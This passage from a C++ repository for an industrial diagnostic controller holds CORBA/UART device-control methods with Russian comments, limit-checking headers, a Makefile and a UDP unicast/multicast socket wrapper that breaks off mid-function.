(__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->getIsol()) fnd->second->onEi( side, 0 ); //послали запрос на выключение экрана изоляции на этом АК. __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->getExch( (2*(f1->second->chan)+side) )->title=_title; __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->getExch( (2*(f1->second->chan)+side) )->isIsol=true; __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->getExch( (2*(f1->second->chan)+side) )->Phdop=_Phdop; // std::cout<<"Uart Phdop: "<<__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->getExch( (2*(f1->second->chan)+side) )->Phdop<<"\n"; // std::cout<<"Uart title: "<<__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->getExch( (2*(f1->second->chan)+side) )->title<<"\n"; } } //std::cout<<"title: "<<_title.c_str()<<"\n"; } void stdc::UartImpl::off(std::string ak, CORBA::Long side ){ //Получили запрос на переключание ОИ f1 = mod2uns_ser.find(ak); //нашли какому Serial, УНС, принадлежит АК ak_map::iterator fnd, begin, end; if (f1 != mod2uns_ser.end()){ fnd=__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].find(ak); if (fnd != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].end() ){ //выключить все ключи в этом изолированном канале begin =__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].begin(); end =__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].end(); while (begin != end ){ begin->second->offChan( side ); if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->getIsol()) begin->second->onEi( side, 1 ); begin++; } __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->getExch( (2*(f1->second->chan)+side) )->title="не подключен"; } } } void stdc::UartImpl::grKey(std::string ak, CORBA::Long side, CORBA::Long mode ){ f1 = mod2uns_ser.find(ak); if (f1 != mod2uns_ser.end()){ ak_map::iterator fnd=__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].find(ak); if (fnd != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].end() ) fnd->second->onGr( side, (bool)mode ); } } void stdc::UartImpl::eiKey(std::string ak, CORBA::Long side, CORBA::Long mode ){ f1 = mod2uns_ser.find(ak); if (f1 != mod2uns_ser.end()){ ak_map::iterator fnd=__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].find(ak); if (fnd != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].end() ) fnd->second->onEi( side, (bool)mode ); } } void stdc::UartImpl::indKey(std::string ak, CORBA::Long side, CORBA::Long key, CORBA::Long mode ){ f1 = mod2uns_ser.find(ak); if (f1 != mod2uns_ser.end()){ ak_map::iterator fnd=__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].find(ak); if (fnd != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[f1->second->chan].end() ) fnd->second->onoffInd( side, key, (bool)mode ); } } void stdc::UartImpl::ion_ground(std::string ion, CORBA::Long side ){ f1 = mod2uns_ser.find(ion); if (f1 != mod2uns_ser.end()){ ion_map::iterator fnd=__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(ion); if (fnd != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.end() ) fnd->second->ground( side ); } } void stdc::UartImpl::ion_direct(std::string ion, CORBA::Long side ){ f1 = mod2uns_ser.find(ion); if (f1 != mod2uns_ser.end()){ ion_map::iterator fnd=__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(ion); if (fnd != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.end() ) fnd->second->direct( side ); } } void stdc::UartImpl::ion_undirect(std::string ion, CORBA::Long side ){ f1 = mod2uns_ser.find(ion); if (f1 != mod2uns_ser.end()){ ion_map::iterator fnd=__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(ion); if (fnd != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.end() ) fnd->second->undirect( side ); } } void stdc::UartImpl::ion_u50_500v(std::string ion, CORBA::Long side ){ f1 = mod2uns_ser.find(ion); if (f1 != mod2uns_ser.end()){ ion_map::iterator fnd=__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(ion); if (fnd != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.end() ){ fnd->second->u50_500v( side ); __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->getExch( (2*(f1->second->chan)+side) )->is500v = fnd->second->is500v( side ); } } } void stdc::UartImpl::ion_off(std::string ion, CORBA::Long side ){ f1 = mod2uns_ser.find(ion); if (f1 != mod2uns_ser.end()){ ion_map::iterator fnd=__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(ion); if (fnd != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.end() ) fnd->second->off( side ); } } bool stdc::UartImpl::ion_is500v(std::string ion, CORBA::Long side ){ f1 = mod2uns_ser.find(ion); if (f1 != mod2uns_ser.end()){ ion_map::iterator fnd=__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(ion); if (fnd != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.end() ) return fnd->second->is500v( side ); } } void stdc::UartImpl::uns4i_amplAuto(std::string uns_, CORBA::Long chan){ f1 = mod2uns_ser.find(uns_); if (f1 != mod2uns_ser.end()){ uns_map::iterator f2 = __serial[f1->second->serial]->__uns.find(uns_); if (f2 != __serial[f1->second->serial]->__uns.end()){ f2->second->amplif( chan, 0x3 ); } } } void stdc::UartImpl::uns4i_amplHandOn(std::string uns_, CORBA::Long chan){ f1 = mod2uns_ser.find(uns_); if (f1 != mod2uns_ser.end()){ uns_map::iterator f2 = __serial[f1->second->serial]->__uns.find(uns_); if (f2 != __serial[f1->second->serial]->__uns.end()){ f2->second->amplif( chan, 0x1 ); } } } void stdc::UartImpl::uns4i_amplHandOff(std::string uns_, CORBA::Long chan){ f1 = mod2uns_ser.find(uns_); if (f1 != mod2uns_ser.end()){ uns_map::iterator f2 = __serial[f1->second->serial]->__uns.find(uns_); if (f2 != __serial[f1->second->serial]->__uns.end()){ f2->second->amplif( chan, 0x0 ); } } } void stdc::UartImpl::uns4i_Isol(std::string uns_, bool onoff){ f1 = mod2uns_ser.find(uns_); if (f1 != mod2uns_ser.end()){ uns_map::iterator f2 = __serial[f1->second->serial]->__uns.find(uns_); if ( f2 != __serial[f1->second->serial]->__uns.end() ){ f2->second->setIsol( onoff ); } } } bool stdc::UartImpl::uns4i_checkIsol(std::string uns_ ){ f1 = mod2uns_ser.find(uns_); if (f1 != mod2uns_ser.end()){ uns_map::iterator f2 = __serial[f1->second->serial]->__uns.find(uns_); if (f2 != __serial[f1->second->serial]->__uns.end()){ return f2->second->getIsol( ); } } } double stdc::UartImpl::uns4i_getIval(std::string uns_, CORBA::Long chan){ f1 = mod2uns_ser.find(uns_); if (f1 != mod2uns_ser.end()){ uns_map::iterator f2 = __serial[f1->second->serial]->__uns.find(uns_); if (f2 != __serial[f1->second->serial]->__uns.end()){ return f2->second->getIval( (int)chan ); } } } void stdc::UartImpl::uns4i_setIsolVal(std::string uns_, CORBA::Double val, CORBA::Long chan){ f1 = mod2uns_ser.find(uns_); if (f1 != mod2uns_ser.end()){ uns_map::iterator f2 = __serial[f1->second->serial]->__uns.find(uns_); if (f2 != __serial[f1->second->serial]->__uns.end()){ return f2->second->setIsolVal( val, chan ); } } } stdc::Exchange* stdc::UartImpl::uns4i_Exch(std::string uns_, CORBA::Long chan){ f1 = mod2uns_ser.find(uns_); if (f1 != mod2uns_ser.end()){ uns_map::iterator f2 = __serial[f1->second->serial]->__uns.find(uns_); if (f2 != __serial[f1->second->serial]->__uns.end()){ return f2->second->getExch( (int)chan ); } } } stdc::Gui_Send* stdc::UartImpl::uns4i_Gui(std::string uns_ ){ //printf("stdc::UartImpl::uns4i_Gui uns_= %s\n", uns_.c_str()); f1 = mod2uns_ser.find(uns_); if (f1 != mod2uns_ser.end()){ uns_map::iterator f2 = __serial[f1->second->serial]->__uns.find(uns_); if (f2 != __serial[f1->second->serial]->__uns.end()){ return f2->second->getGui( ); } } } stdc::PA_Data* stdc::UartImpl::unsPA_Gui(std::string uns_){ f1 = mod2uns_ser.find(uns_); if (f1 != mod2uns_ser.end()){ uns_map::iterator f2 = __serial[f1->second->serial]->__uns.find(uns_); if (f2 != __serial[f1->second->serial]->__uns.end()){ return f2->second->getGuiPA(); } } } stdc::Module_Fails* stdc::UartImpl::uns4i_mfails(std::string mod_ ){ f1 = mod2uns_ser.find(mod_); if (f1 != mod2uns_ser.end()){ if (f1->second->chan != -1){//если найденый модуль не УНС if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].find(mod_)->second->getFail(); else if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].find(mod_)->second->getFail(); else if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(mod_)->second->getFail(); } else{//если найденый модуль УНС return __serial[f1->second->serial]->__uns.find(mod_)->second->getFail(); } } // __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->getExch( (2*(f1->second->chan)+side) )->isIsol=true; } const char* stdc::UartImpl::uns4i_mPlace(std::string mod_ ){ f1 = mod2uns_ser.find(mod_); if (f1 != mod2uns_ser.end()){ if (f1->second->chan != -1){//если найденый модуль не УНС if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].find(mod_)->second->getPlace(); else if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].find(mod_)->second->getPlace(); else if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(mod_)->second->getPlace(); } else{//если найденый модуль УНС return __serial[f1->second->serial]->__uns.find(mod_)->second->getPlace(); } } // __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->getExch( (2*(f1->second->chan)+side) )->isIsol=true; } ulong stdc::UartImpl::uns4i_mAddr(std::string mod_ ){ f1 = mod2uns_ser.find(mod_); if (f1 != mod2uns_ser.end()){ if (f1->second->chan != -1){//если найденый модуль не УНС if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].find(mod_)->second->getAddr(); else if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].find(mod_)->second->getAddr(); else if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(mod_)->second->getAddr(); } else{//если найденый модуль УНС return __serial[f1->second->serial]->__uns.find(mod_)->second->getAddr(); } } return 0; } stdc::Udo::Udo_Request* stdc::UartImpl::udo_getReq(std::string mod_ ){ f1 = mod2uns_ser.find(mod_); if (f1 != mod2uns_ser.end()){ if (f1->second->chan != -1){//если найденый модуль не УНС if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].find(mod_)->second->getReq(); else if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].find(mod_)->second->getReq(); else if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_ions.find(mod_)->second->getReq(); else return NULL; } return NULL; } return NULL; } int stdc::UartImpl::ak_getType(std::string mod_ ){ f1 = mod2uns_ser.find(mod_); if (f1 != mod2uns_ser.end()){ if (f1->second->chan != -1){//если найденый модуль не УНС if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[0].find(mod_)->second->getAkType(); else if (__serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].find(mod_) != __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].end()) return __serial[f1->second->serial]->__uns.find(f1->second->uns)->second->_aks[1].find(mod_)->second->getAkType(); else return -1; } return -1; } return -1; } bool stdc::UartImpl::diag_get(std::string mod_, bool& st ){ f1 = mod2uns_ser.find(mod_); if (f1 != mod2uns_ser.end()){ mod_life::iterator f2 = __serial[f1->second->serial]->__mlife.find(mod_); if (f2 != __serial[f1->second->serial]->__mlife.end()){ st = f2->second; return true ; } return false; } return false; } int stdc::UartImpl::getChan4Ak(std::string _ak){ f1 = mod2uns_ser.find(_ak); if (f1 != mod2uns_ser.end()){ return f1->second->chan; } else return -1; } const char* stdc::UartImpl::getUns4Ak(std::string _ak){ f1 = mod2uns_ser.find(_ak); if (f1 != mod2uns_ser.end()){ return f1->second->uns.c_str(); } else return NULL; } stdc::uns_type stdc::UartImpl::getUnsType4Ak(std::string _ak){ f1 = mod2uns_ser.find(_ak); if (f1 != mod2uns_ser.end()){ std::string uns_name = f1->second->uns;//узнали имя УНС int serial_number = f1->second->serial;//узнали на каком интерфейсе висит УНС stdc::Serial *_serial = __serial[serial_number]; uns_map::iterator _unsIter = _serial->__uns.find(uns_name); if (_unsIter != _serial->__uns.end() ) return _unsIter->second->_type; else return notype; } else return notype; } void stdc::UartImpl::getAllUnsName(std::map<std::string, stdc::uns_type> &_uns_names){ stdc::uns_map::iterator start, stop; for (int i=0; i<__serial.size(); i++){ start = __serial[i]->__uns.begin(); stop = __serial[i]->__uns.end(); while (start != stop){ std::cout<<"Uns name: "<<start->first.c_str()<<"\n"; _uns_names[start->first.c_str()] = start->second->_type; ++start; } } } const char* stdc::UartImpl::getIon4Ak(std::string _ak){ // алгоритм поиска // 1.Найти какому УНС принадлежит данный АК, и в каком паре изолированных какналов находиться этот АК // 2.Найти имена всех ИОН которые подключены к этому УНС // 3.Найти в ИОН подкллюченный к той же паре изолированных каналов что и АК. int _chan, _serial; //пояснения в структуре Uns_Serial std::string _uns; f1 = mod2uns_ser.find(_ak); if (f1 != mod2uns_ser.end()){//нашли УНС для этого АК _chan = f1->second->chan; _serial = f1->second->serial; _uns = f1->second->uns;//выполнили п.1 ion_map::iterator ion_b = __serial[_serial]->__uns.find(_uns)->second->_ions.begin(); ion_map::iterator ion_e = __serial[_serial]->__uns.find(_uns)->second->_ions.end(); while ( ion_b!=ion_e ){ //нащли ИОН подключене к этому УНС, и начили перебирать их std::string ion_name = ion_b->first; if (mod2uns_ser.find(ion_name) != mod2uns_ser.end()){ if (mod2uns_ser.find(ion_name)->second->chan == _chan ) return ion_name.c_str(); } ion_b++; } } return "none"; } const char* stdc::UartImpl::getStartTime( ){ /* struct tm _tm; localtime_r(&_start_time, &_tm); char buff[100]; snprintf (buff, sizeof(buff), "%.2d,%.2d,%.4d %.2d:%.2d:%.2d", _tm.tm_mday, _tm.tm_mon+1, _tm.tm_year+1900, _tm.tm_hour, _tm.tm_min, _tm.tm_sec); */ return _start_time; } <file_sep>/Docs/net_mpk/ns_net.h #ifndef NORSCADA_NET_H #define NORSCADA_NET_H #include "ns.h" #ifndef OS_MINGW #include <sys/socket.h> #include <sys/types.h> #else #include <winsock2.h> #include <ws2tcpip.h> #endif class ns_net { public: /* maximum transfer unit */ enum { mtu_size = 1500 }; /** * Деструктор. */ virtual ~ns_net () { /* nothing */ }; virtual int set_sock_opt (int level, int optname, const void *optval, socklen_t optlen) = 0; /** * Получение информации о адресе клиента. * @return Укатель на строку с IP/MAC адресом, или NULL если клиент не подключен. */ virtual const char * get_client_address (void) = 0; /** * Получение информации о порте клиента. * @return Номер порта, или 0 если клиент не подключен. */ virtual int get_client_port (void) = 0; /** * Получение информации о адресе сервера. * @return Укатель на строку с IP/MAC адресом, или NULL если сервер не подключен. */ virtual const char * get_server_address (void) = 0; /** * Получение информации о порте сервера. * @return Номер порта, или 0 если сервер не подключен. */ virtual int get_server_port (void) = 0; /** * Получить данные из сокета, без блокирования. * @param buffer Буфер для данных. * @param size Размер буфера. * @param timeout Максимальное время ожидания данных, мкс. * @return Количество принятых символов, 0 или ERROR если данных нет. */ virtual int get_packet (void * buffer, int size, int timeout = 10000) = 0; /** * Передать данные через сокет. * @param buffer Буфер данных. * @param size Число символов для отправки. * @return Количество отправленных символов, 0 или ERROR в случае ошибки. */ virtual int snd_packet (const void * buffer, int size) = 0; /** * Передать данные через сокет, указанному получателю. * @param buffer Буфер данных. * @param size Число символов для отправки. * @param addr IP/MAC адрес получателя. * @return Количество отправленных символов, 0 или ERROR в случае ошибки. */ virtual int snd_packet (const void * buffer, int size, char * addr) = 0; }; /** * Создать клиентский объект класса ns_net для групповой передачи через UDP. * @param port Номер порта. * @param address Адрес группы. */ class ns_net * make_client_multicast (unsigned short int port, const char * address); /** * Создать серверный объект класса ns_net для группового приема через UDP. * @param port Номер порта. * @param address Адрес группы. */ class ns_net * make_server_multicast (unsigned short int port, const char* address); #endif <file_sep>/Limits/src/LimitsImpl.h // This is CRTC generator created LimitsImpl.h file. [ workstation None at Sat Nov 13 11:24:48 2010 ] #ifndef _stdc_LimitsImpl_h_ #define _stdc_LimitsImpl_h_ #include "LimitsImplBase.hh" #include "Ilimits.h" namespace stdc{ class LimitsImpl: public LimitsImplBase, public Ilimits{ public: LimitsImpl( const crtc::ItemContext* ); ~LimitsImpl(); public: virtual void activate__( const char* id ); virtual void deactivate__( ); virtual void applyAttrs(); virtual bool checkLimit ( std::string, float, bool ); virtual bool getTZKImpl ( std::string, bool& ); private: const char* replaceDot(std::string ); struct sillData{ float voltMax, voltMin, isolMax, isolMin; std::string isolF, voltF; sillData(): voltMax(0.0), voltMin(0.0), isolMax(0.0), isolMin(0.0) { }; sillData(float _voltMax, float _voltMin, float _isolMax, float _isolMin, std::string _voltF, std::string _isolF ): voltMax(_voltMax), voltMin(_voltMin), isolMax(_isolMax), isolMin(_isolMin), isolF(_isolF), voltF(_voltF) { }; /** * Если 1 - пороги в норме, 0 - пороги не внорме * Принцип проверки пороговых значений такой: * Если пороги не установлены то возвращаем 1 * Проверяем на наличие только тех порогов которые заданы */ /*Проверяем на пороги напряжения*/ bool checkVolt(float val){ return checkSill(val, voltMax, voltMin ); }; /*Проверяем на пороги напряжения*/ bool checkIsol(float val){ return checkSill(val, isolMax, isolMin ); }; bool checkSill(float val, float max, float min){ if (max == 0.0 && min == 0.0) return true; if (max == 0.0 && min != 0.0) return val >= min; if (max != 0.0 && min == 0.0) return val<= max; return (val >= min) && (val<= max); }; }; typedef std::map <std::string, sillData> LimitsMap; LimitsMap _in_limits; typedef std::map <std::string, bool> SillsMap; SillsMap _in_smap; }; }; #endif //_stdc_LimitsImpl_h_ <file_sep>/Docs/net_mpk/Makefile CXX=g++ CXXFLAGS= -Wall -Wextra all:test_net_mpk net_mpk.o: net_mpk.cpp $(CXX) $< -c -o $@ test_net_mpk: test_net_mpk.cpp net_mpk.o net_udp.cpp $(CXX) $< net_udp.cpp net_mpk.o -o $@ clean: rm *.o test_net_mpk <file_sep>/SectionProxy/src/SectionProxyImpl.h // This is CRTC generator created SectionProxyImpl.h file. [ workstation None at Fri Feb 13 15:07:57 2009 ] #ifndef _stdc_SectionProxyImpl_h_ #define _stdc_SectionProxyImpl_h_ #include "SectionProxyImplBase.hh" namespace stdc{ class SectionProxyImpl: public SectionProxyImplBase{ public: SectionProxyImpl( const crtc::ItemContext* ); ~SectionProxyImpl(); public: virtual void activate__( const char* id ); virtual void applyAttrs(); virtual void deactivate__( ); }; }; #endif //_stdc_SectionProxyImpl_h_ <file_sep>/readme.txt Автоматическая версия контроллера диагностики сам измеряет, сам отправляет надо читать инструкцию. в каталоге Docs<file_sep>/Limits/src/Ilimits.h namespace stdc{ class Ilimits{ public: virtual ~Ilimits(); virtual bool checkLimit(std::string unit, float value, bool isVolt) = 0; //isVolt == true - проверяем на пороги напряжения. Иначе на пороги изоляции virtual bool getTZKImpl ( std::string, bool& ) = 0; //возвращает значения импульса для ТЗК. }; }; <file_sep>/Docs/net_mpk/ns.h /* * This file is part of the NORSCADA project. * * Copyright (C) 2007-2008 <NAME> <<EMAIL>> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef NORSCADA_NS_H #define NORSCADA_NS_H using namespace std; #ifndef ERROR #define ERROR -1 #endif #ifndef OK #define OK 0 #endif #ifndef NULL #define NULL ((void *) 0) #endif #define FOREVER while (1) typedef unsigned char uchar; typedef unsigned short ushort; typedef unsigned int uint; typedef short STATUS; #define char50 50 #define char20 20 #endif <file_sep>/Controller/src/net_mpk/net_udp.cpp #include "ns.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #ifndef OS_MINGW #include <arpa/inet.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #else #include <winsock2.h> #include <ws2tcpip.h> #endif #include <unistd.h> #include "ns_net.h" class ns_net_udp : public ns_net { protected: /* socket file descriptor */ int sFd; /* socket address size */ int sockAddrSize; /* server's socket address */ struct sockaddr_in server_saddr; /* client's socket address */ struct sockaddr_in client_saddr; private: const char * get_client_ip (void); const char * get_server_ip (void); #ifdef OS_MINGW STATUS init_winsock (void) { WSADATA wsaData; WORD wVersionRequested = MAKEWORD (1,1); if (WSAStartup( wVersionRequested, &wsaData)) return ERROR; return OK; } #endif #ifdef OS_MINGW void cleanup_winsock (void) { WSACleanup(); } #endif public: ns_net_udp (); virtual ~ns_net_udp (); int set_sock_opt (int level, int optname, const void * optval, socklen_t optlen); virtual int get_packet (void * buffer, int size, int timeout); virtual int snd_packet (const void * buffer, int size); virtual int snd_packet (const void * buffer, int size, char* addr); virtual const char * get_client_address (void) { return get_client_ip(); }; virtual int get_client_port (void) { return ntohs(client_saddr.sin_port); }; virtual const char * get_server_address (void) { return get_server_ip(); }; virtual int get_server_port (void) { return ntohs(server_saddr.sin_port); }; }; ns_net_udp :: ns_net_udp () { #ifdef OS_MINGW init_winsock(); #endif sockAddrSize = sizeof(sockaddr_in); if ((sFd = socket(AF_INET, SOCK_DGRAM, 0/*IPPROTO_UDP*/)) <= 0) { perror("can't open socket:"); } } ns_net_udp :: ~ns_net_udp () { if (sFd >= 0) close(sFd); #ifdef OS_MINGW void cleanup_winsock(); #endif } const char * ns_net_udp :: get_client_ip (void) { struct sockaddr_in tmp; memcpy(&tmp, &client_saddr, sizeof(struct sockaddr_in)); return inet_ntoa(tmp.sin_addr); } const char * ns_net_udp :: get_server_ip (void) { struct sockaddr_in tmp; memcpy(&tmp, &server_saddr, sizeof(struct sockaddr_in)); return inet_ntoa(tmp.sin_addr); } int ns_net_udp :: set_sock_opt (int level, int optname, const void *optval, socklen_t optlen) { if (sFd < 0) return ERROR; return setsockopt(sFd, level, optname, (const char *)optval, optlen); } int ns_net_udp :: get_packet (void * _buff, int _size, int timeout) { if (sFd < 0) return ERROR; struct timeval timing; fd_set readfds; int retval; FD_ZERO(&readfds); FD_SET(sFd, &readfds); timing.tv_sec = 0; timing.tv_usec = timeout; int maxvalue = sFd + 1; retval = select(maxvalue, &readfds, NULL, NULL, &timing); if (retval == -1 || 0 == (FD_ISSET(sFd, &readfds))) return ERROR; int size = recvfrom(sFd, reinterpret_cast < char * > (_buff), _size, 0, (struct sockaddr*)&client_saddr, (socklen_t*)&sockAddrSize); if (size <= 0) { perror("recvfrom:"); return ERROR; } return size; } int ns_net_udp :: snd_packet (const void * _buff, int _size) { if (sFd < 0) return ERROR; int size = sendto(sFd, reinterpret_cast < const char * > (_buff), _size, 0, (struct sockaddr*)&server_saddr, sockAddrSize); if (size <= 0) { printf ("udp snd"); return ERROR; } return size; } int ns_net_udp :: snd_packet (const void * _buff, int _size, char * addr) { if (sFd < 0) return ERROR; struct sockaddr_in old; if (addr) { //store old.sin_addr.s_addr = server_saddr.sin_addr.s_addr; server_saddr.sin_addr.s_addr = inet_addr(addr); } else return ERROR; int size = sendto(sFd, reinterpret_cast < const char * > (_buff), _size, 0, (struct sockaddr *)&server_saddr, sockAddrSize); //back server_saddr.sin_addr.s_addr = old.sin_addr.s_addr; if (size <= 0) { perror("udp snd:"); return ERROR; } return size; } class ns_unicast : public ns_net_udp { public: ns_unicast (unsigned short, bool, const char * addr = NULL); virtual ~ns_unicast () { /* nothing */ }; }; class ns_multicast : public ns_net_udp { private: /* request structure */ struct ip_mreq imr; /* outgoing interface */ struct in_addr ifaddr; public: ns_multicast (unsigned short, bool, const char * addr); virtual ~ns_multicast () { /* nothing */ }; }; ns_unicast :: ns_unicast (unsigned short _port, bool _direction, const char * _addr_server) { if (_addr_server) printf ("Unicast %s: %s:%d\n", _direction ? "rcv" : "snd", _addr_server, _port); else printf ("Unicast %s: 0.0.0.0:%d\n", _direction ? "rcv" : "snd", _port); int optval = 1; #ifndef OS_MINGW if (setsockopt(sFd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(int)) != 0) { #else if (setsockopt(sFd, SOL_SOCKET, SO_REUSEADDR, (const char *)&optval, sizeof(int)) != 0) { #endif perror("can't reuse requested port:"); sFd = -1; } memset((char *)&server_saddr, 0, sizeof(struct sockaddr_in)); server_saddr.sin_family = AF_INET; server_saddr.sin_port = htons(_port); if (_direction) { // прием if (bind(sFd, (struct sockaddr *)&server_saddr, sizeof(struct sockaddr_in)) != 0) { perror("Binding udp socket:"); sFd = -1; } server_saddr.sin_addr.s_addr = _addr_server ? inet_addr(_addr_server) : htonl(INADDR_ANY); //server_saddr.sin_addr.s_addr = htonl (INADDR_ANY); } else { // передача if (_addr_server) server_saddr.sin_addr.s_addr = inet_addr(_addr_server); else { perror("ip addr not defined:"); sFd = -1; } } } ns_multicast :: ns_multicast (unsigned short _port, bool _direction, const char * _addr_group) { //printf ("Multicast %s: %s:%d\n", _direction ? "rcv" : "snd", _addr_group, _port); int ttl = 1; #ifndef OS_MINGW if (setsockopt(sFd, IPPROTO_IP, IP_MULTICAST_TTL, &ttl, sizeof(ttl)) != 0) { #else if (setsockopt(sFd, IPPROTO_IP, IP_MULTICAST_TTL, (const char *)&ttl, sizeof(ttl)) != 0) { #endif perror("can't set TTL:"); sFd = -1; } ifaddr.s_addr = htonl (INADDR_ANY); #ifndef OS_MINGW if (setsockopt(sFd, IPPROTO_IP, IP_MULTICAST_IF, &ifaddr, sizeof(ifaddr)) != 0) { #else if (setsockopt(sFd, IPPROTO_IP, IP_MULTICAST_IF, (const char *)&ifaddr, sizeof(ifaddr)) != 0) { #endif perror("can't set multicast source interface:"); sFd = -1; } if (_direction) { // прием int optval = 1; #ifndef OS_MINGW if (setsockopt(sFd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)) != 0) { #else if (setsockopt(sFd, SOL_SOCKET, SO_REUSEADDR, (const char *)&optval, sizeof(optval)) != 0) { #endif perror("can't reuse requested port:"); sFd = -1; } memset((char *)&server_saddr, 0, sizeof(struct sockaddr_in)); server_saddr.sin_family = AF_INET; server_saddr.sin_port = htons(_port); server_saddr.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(sFd, (struct sockaddr *)&server_saddr, sizeof(struct sockaddr_in)) != 0) { perror("Binding multicast socket:"); sFd = -1; } /* 192.168.3.11 */ //imr.imr_multiaddr.s_addr = 0xe0010101; imr.imr_multiaddr.s_addr = inet_addr(_addr_group); imr.imr_interface.s_addr = htonl(INADDR_ANY); #ifndef OS_MINGW if (setsockopt(sFd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &imr, sizeof(struct ip_mreq)) != 0) { #else if (setsockopt(sFd, IPPROTO_IP, IP_ADD_MEMBERSHIP, (const char *)&imr, sizeof(struct ip_mreq)) != 0) { #endif 